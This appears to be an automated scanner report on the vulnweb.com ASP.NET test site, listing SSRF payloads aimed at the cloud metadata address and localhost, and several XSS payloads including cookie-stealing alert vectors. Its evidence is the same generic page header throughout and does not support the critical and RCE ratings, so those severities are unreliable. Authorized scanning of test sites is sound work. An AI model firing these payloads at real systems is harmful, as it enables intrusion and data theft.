

Security Assessment Report

Automated Vulnerability Discovery

Target Infrastructure: <http://testaspnet.vulnweb.com>

Date of Assessment: 2026-05-20 19:59 IST

Reference ID: 894d9e85-0309-44b2-b8c1-eba839662d12

1. Executive Summary

This document presents the findings of an automated security assessment conducted against **http://testaspnet.vulnweb.com** on 2026-05-20 19:59 IST. The assessment utilized the SmartFuzz testing engine to evaluate the target against a predefined set of vulnerability classes. The overall risk posture of the application is currently evaluated as **Critical**.

Assessment Metric	Value
Total Payloads Generated	241
Total Findings Confirmed	60
Critical Risk Findings	5
High Risk Findings	14
Medium Risk Findings	3
Maximum CVSS v3.1 Score	9.1
Average CVSS v3.1 Score	6.0

2. Authorization & Consent

Before this assessment was launched, the SmartFuzz operator was presented with a mandatory legal consent dialog. The scan only proceeded once the operator explicitly confirmed each of the following statements.

Confirmation Statements

1. I own this target, or I have written authorization from the owner.
2. I understand this scan will send potentially malicious payloads.
3. I accept full legal responsibility for the consequences of this scan.

Legal Reference — Information Technology Act, 2000

Unauthorized access to a computer resource, including the unauthorized scanning of computer systems for vulnerabilities, constitutes a punishable offence under the Information Technology Act, 2000 (India), **Section 43** (penalty for damage to computer, computer system, etc.) and **Section 66** (computer-related offences). Comparable statutes exist in most jurisdictions worldwide — notably the Computer Fraud and Abuse Act (United States), the Computer Misuse Act 1990 (United Kingdom), and the Council of Europe Convention on Cybercrime. SmartFuzz records the operator's authorization before each scan to ensure all testing activity is performed in compliance with applicable law.

3. Findings Summary

ID	Vulnerability	Parameter	Severity	CVSS
1	SSRF	NewsAd	Critical	9.1
2	SSRF	NewsAd	Critical	9.1
3	SSRF	NewsAd	Critical	9.1
4	SSRF	NewsAd	Critical	9.1
5	SSRF	NewsAd	Critical	9.1
6	RCE	NewsAd	High	7.3
7	XSS	NewsAd	High	6.1
8	IDOR	id	High	8.1
9	IDOR	id	High	8.1
10	IDOR	id	High	8.1
11	IDOR	id	High	8.1
12	IDOR	id	High	8.1
13	RCE	NewsAd	High	7.3
14	XSS	NewsAd	High	6.1
15	RCE	NewsAd	High	7.3
16	XSS	NewsAd	High	6.1
17	XSS	NewsAd	High	6.1
18	RCE	NewsAd	High	7.3
19	RCE	NewsAd	High	7.3
20	XSS	NewsAd	Medium	4.1

21	XSS	NewsAd	Medium	4.1
22	XSS	NewsAd	Medium	4.1
23	Info Disclosure	id	Low	5.3
24	Info Disclosure	id	Low	5.3
25	Info Disclosure	id	Low	5.3
26	Info Disclosure	id	Low	5.3
27	Info Disclosure	id	Low	5.3
28	Info Disclosure	id	Low	5.3
29	Info Disclosure	id	Low	5.3
30	Info Disclosure	id	Low	5.3
31	Info Disclosure	NewsAd	Low	5.3
32	Info Disclosure	NewsAd	Low	5.3
33	Info Disclosure	NewsAd	Low	5.3
34	Info Disclosure	NewsAd	Low	5.3
35	Info Disclosure	NewsAd	Low	5.3
36	Info Disclosure	NewsAd	Low	5.3
37	Info Disclosure	NewsAd	Low	5.3
38	Info Disclosure	NewsAd	Low	5.3
39	Info Disclosure	id	Low	5.3
40	Info Disclosure	id	Low	5.3
41	Info Disclosure	id	Low	5.3
42	Info Disclosure	id	Low	5.3

43	Info Disclosure	id	Low	5.3
44	Info Disclosure	id	Low	5.3
45	Info Disclosure	id	Low	5.3
46	Info Disclosure	id	Low	5.3
47	Info Disclosure	id	Low	5.3
48	Info Disclosure	id	Low	5.3
49	Info Disclosure	NewsAd	Low	5.3
50	Info Disclosure	NewsAd	Low	5.3
51	Info Disclosure	NewsAd	Low	5.3
52	Info Disclosure	NewsAd	Low	5.3
53	Info Disclosure	NewsAd	Low	5.3
54	Info Disclosure	NewsAd	Low	5.3
55	Info Disclosure	NewsAd	Low	5.3
56	Info Disclosure	NewsAd	Low	5.3
57	Info Disclosure	NewsAd	Low	5.3
58	Info Disclosure	NewsAd	Low	5.3
59	Info Disclosure	id	Low	5.3
60	Info Disclosure	NewsAd	Low	5.3

4. Detailed Findings Analysis

Finding 1: SSRF in parameter 'NewsAd'

Severity:	Critical
CVSS v3.1 Score:	9.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%3A%2F%2Ftestaspnet.vulnweb.com%2FReadNews.aspx%3Fid%3D0%26NewsAd%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
Method:	GET
Status Code:	200
Response Time:	0.312 seconds
Injected Payload:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http://169.254.169.254/latest/meta-data/
Evidence:	<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"</pre>

Finding 2: SSRF in parameter 'NewsAd'

Severity:	Critical
CVSS v3.1 Score:	9.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%253A%252F%252Ftestaspnet.vulnweb.com%252FReadNews.aspx%253Fid%253D0%2526NewsAd%253Dhttp%253A%252F%252F169.254.169.254%252Flatest%252Fmeta-data%252F
Method:	GET
Status Code:	200

Response Time: 0.25 seconds

Injected Payload: http%3A%2F%2Ftestaspnet.vulnweb.com%2FReadNews.aspx%3Fid%3D0%26NewsAd%3Dhttp%3A%2F%2F169.254.169.254%2FLatest%2Fmeta-data%2F

Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css">

Finding 3: SSRF in parameter 'NewsAd'

Severity: Critical

CVSS v3.1 Score: 9.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=hTtP%3A%2F%2FTeStAsPnEt.vUlNwEb.c0m%2FrEaDnEwS.AsPx%3FiD%3D0%26NewsAd%3DhTtP%3A%2F%2F169.254.169.254%2FLaTeSt%2FmEtA-DaTa%2F

Method: GET

Status Code: 200

Response Time: 1.015 seconds

Injected Payload: hTtP://TeStAsPnEt.vUlNwEb.c0m/rEaDnEwS.AsPx?id=0&NewsAd;=hTtP://169.254.169.254/LaTeSt/mEtA-DaTa/

Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css">

Finding 4: SSRF in parameter 'NewsAd'

Severity:	Critical
CVSS v3.1 Score:	9.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=HTTP%3A%2F%2FTESTASPNET.VULNWEB.COM%2FrEADnEWS.ASPX%3FID%3D0%26nEWsAd%3DHTTP%3A%2F%2F169.254.169.254%2FLATEST%2FMETA-DATA%2F
Method:	GET
Status Code:	200
Response Time:	1.078 seconds
Injected Payload:	HTTP://TESTASPNET.VULNWEB.COM/rEADnEWS.ASPX?ID=0&nEWsAd;=HTTP://169.254.169.254/LATEST/META-DATA/
Evidence:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"

Finding 5: SSRF in parameter 'NewsAd'

Severity:	Critical
CVSS v3.1 Score:	9.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%25253A%25252F%25252Ftestaspnet.vulnweb.com%25252FReadNews.aspx%25253Fid%25253D0%252526NewsAd%25253Dhttp%25253A%25252F%25252F169.254.169.254%25252Flatest%25252Fmeta-data%25252F
Method:	GET
Status Code:	200
Response Time:	1.796 seconds

Injected Payload: `http%253A%252F%252Ftestaspnet.vulnweb.com%252FReadNews.aspx%253Fid%253D0%2526NewsAd%253Dhttp%253A%252F%252F169.254.169.254%252Flatest%252Fmeta-data%252F`

Evidence: `<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"`

Finding 6: RCE in parameter 'NewsAd'

Severity: **High**

CVSS v3.1 Score: **7.3**

CVSS Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L`

Target URL: `http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%3A%2F%2Ftestaspnet.vulnweb.com%2FReadNews.aspx%3Fid%3D0%26NewsAd%3Dhttp%3A%2F%2Flocalhost%2Finternal.php`

Method: GET

Status Code: 200

Response Time: 0.265 seconds

Injected Payload: `http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http://localhost/internal.php`

Evidence: `<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"`

Finding 7: XSS in parameter 'NewsAd'

Severity: **High**

CVSS v3.1 Score: 6.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=javascrip%3Aalert%281%29

Method: GET

Status Code: 200

Response Time: 0.312 seconds

Injected Payload: javascript:alert(1)

Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"

Finding 8: IDOR in parameter 'id'

Severity: High

CVSS v3.1 Score: 8.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Target URL: http://testaspnet.vulnweb.com/Comments.aspx?id=1

Method: GET

Status Code: 200

Response Time: 0.0 seconds

Injected Payload: 1

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>Comments</title>  
<meta name="GENERATOR" Content="Microsoft Visual Studio  
.NET 7.1"> <meta name="CODE_LANGUAGE" Content="C#"> <meta  
name="vs_defaultClientScript" content="JavaScript"> <meta  
name="vs_targetSchema"  
content="http://schemas.microsoft.com/intellisense/ie5">  
<LINK href="styles.css"
```

Finding 9: IDOR in parameter 'id'

Severity: High

CVSS v3.1 Score: 8.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=1&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 200

Response Time: 0.0 seconds

Injected Payload: 1

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 10: IDOR in parameter 'id'

Severity: High

CVSS v3.1 Score: 8.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Target URL: <http://testaspnet.vulnweb.com/Comments.aspx?id=-1>

Method: GET

Status Code: 200

Response Time: 0.0 seconds

Injected Payload: -1

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>Comments</title>  
<meta name="GENERATOR" Content="Microsoft Visual Studio  
.NET 7.1"> <meta name="CODE_LANGUAGE" Content="C#"> <meta  
name="vs_defaultClientScript" content="JavaScript"> <meta  
name="vs_targetSchema"  
content="http://schemas.microsoft.com/intellisense/ie5">  
<LINK href="styles.css"
```

Finding 11: IDOR in parameter 'id'

Severity: High

CVSS v3.1 Score: 8.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=2&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 200

Response Time: 0.0 seconds

Injected Payload: 2

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 12: IDOR in parameter 'id'

Severity:	High
CVSS v3.1 Score:	8.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=-1&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	200
Response Time:	0.0 seconds
Injected Payload:	-1
Evidence:	<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"></pre>

Finding 13: RCE in parameter 'NewsAd'

Severity:	High
CVSS v3.1 Score:	7.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=hTtP%3A%2F%2FTeStAsPnEt.vUlNwEb.c0m%2FrEaDnEwS.AsPx%3FiD%3D0%26NewsAd%3DhTtP%3A%2F%2FLoCaLh0sT%2FIInTeRnAl.pHp
Method:	GET
Status Code:	200
Response Time:	1.156 seconds
Injected Payload:	hTtP://TeStAsPnEt.vUlNwEb.c0m/rEaDnEwS.AsPx?id=0&NewsAd;=hTtP://LoCaLh0sT/InTeRnAl.pHp

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 14: XSS in parameter 'NewsAd'

Severity: High

CVSS v3.1 Score: 6.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=javascRipt%3Aalert%281%29>

Method: GET

Status Code: 200

Response Time: 0.282 seconds

Injected Payload: `javascRipt:alert(1)`

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 15: RCE in parameter 'NewsAd'

Severity: High

CVSS v3.1 Score: 7.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%25253A%25252F%25252Ftestaspnet.vulnweb.com%25252FReadNews.aspx%25253Fid%25253D0%252526NewsAd%25253Dhttp%25253A%25252F%25252Flocalhost%25252Finternal.php
Method:	GET
Status Code:	200
Response Time:	1.64 seconds
Injected Payload:	http%253A%252F%252Ftestaspnet.vulnweb.com%252FReadNews.aspx%253Fid%253D0%2526NewsAd%253Dhttp%253A%252F%252Flocalhost%252Finternal.php
Evidence:	<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"</pre>

Finding 16: XSS in parameter 'NewsAd'

Severity:	High
CVSS v3.1 Score:	6.1
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=jAvAsCrIpT%3AAlErT%281%29
Method:	GET
Status Code:	200
Response Time:	0.672 seconds
Injected Payload:	jAvAsCrIpT:AlErT(1)

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 17: XSS in parameter 'NewsAd'

Severity: High

CVSS v3.1 Score: 6.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=JAVASCRIPT%3AALERT%281%29>

Method: GET

Status Code: 200

Response Time: 0.265 seconds

Injected Payload: JAVASCRIPT:ALERT(1)

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 18: RCE in parameter 'NewsAd'

Severity: High

CVSS v3.1 Score: 7.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=http%253A%252F%252Ftestaspnet.vulnweb.com%252FReadNews.aspx%253Fid%253D0%2526NewsAd%253Dhttp%253A%252F%252Flocalhost%252Finternal.php

Method: GET

Status Code: 200

Response Time: 2.031 seconds

Injected Payload: http%3A%2F%2Ftestaspnet.vulnweb.com%2FReadNews.aspx%3Fid%3D0%26NewsAd%3Dhttp%3A%2F%2Flocalhost%2Finternal.php

Evidence: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema"> <LINK href="styles.css"

Finding 19: RCE in parameter 'NewsAd'

Severity: High

CVSS v3.1 Score: 7.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=HTTP%3A%2F%2FTESTASPNET.VULNWEB.COM%2FrEADnEWS.ASPX%3FID%3D0%26nEWSaD%3DHTTP%3A%2F%2FLOCALHOST%2FINTERNAL.PHP

Method: GET

Status Code: 200

Response Time: 2.546 seconds

Injected Payload: HTTP://TESTASPNET.VULNWEB.COM/rEADnEWS.ASPX?ID=0&nEWSaD;=HTTP://LOCALHOST/INTERNAL.PHP

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 20: XSS in parameter 'NewsAd'

Severity: Medium

CVSS v3.1 Score: 4.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=javascrip%25253Aalert%2525281%252529>

Method: GET

Status Code: 200

Response Time: 0.36 seconds

Injected Payload: javascript%253Aalert%25281%2529

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 21: XSS in parameter 'NewsAd'

Severity: Medium

CVSS v3.1 Score: 4.1

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=javascrip%3Aprompt%281%29>

Method: GET

Status Code: 200

Response Time: 1.422 seconds

Injected Payload: `javascript:prompt(1)`

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 22: XSS in parameter 'NewsAd'

Severity: **Medium**

CVSS v3.1 Score: **4.1**

CVSS Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N`

Target URL: `http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=javascrip%253Aalert%25281%2529`

Method: GET

Status Code: 200

Response Time: 0.297 seconds

Injected Payload: `javascript%3Aalert%281%29`

Evidence:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0  
Transitional//EN" > <HTML> <HEAD> <title>ReadNews</title>  
<meta content="Microsoft Visual Studio .NET 7.1"  
name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE">  
<meta content="JavaScript" name="vs_defaultClientScript">  
<meta  
content="http://schemas.microsoft.com/intellisense/ie5"  
name="vs_targetSchema"> <LINK href="styles.css"
```

Finding 23: Info Disclosure in parameter 'id'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.266 seconds
Injected Payload:	<script>alert('XSS')</script>
Evidence:	<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<script>alert('XSS')...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-w

Finding 24: Info Disclosure in parameter 'id'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<img src=x onerror=a...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:`

Finding 25: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Csvg+onload%3Dalert%28%27XSS%27%29%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: `<svg onload=alert('XSS')>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<svg onload=alert('X...').</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:`

Finding 26: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&NewsAd;=ads%2Fdef.html>

Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	'><script>alert(document.cookie)</script>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="')<script>alert(docume...).</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verdana";f</pre>

Finding 27: Info Disclosure in parameter 'id'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cbody+onload%3Dalert%28%27XSS%27%29%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.234 seconds
Injected Payload:	<body onload=alert('XSS')>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<body onload=alert('...').</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weig</pre>

Finding 28: Info Disclosure in parameter 'id'

Severity:	Low
------------------	-----

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Ciframe+src%3D%27javascript%3Aalert%28%60XSS%60%29%27%3E%3C%2Fiframe%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<iframe src='javascript:alert(`XSS`)'></iframe>`

Evidence:

```
<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(id="<iframe src='javascr...").</title> <style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b
{font-family:"Verdana";font-weig
```

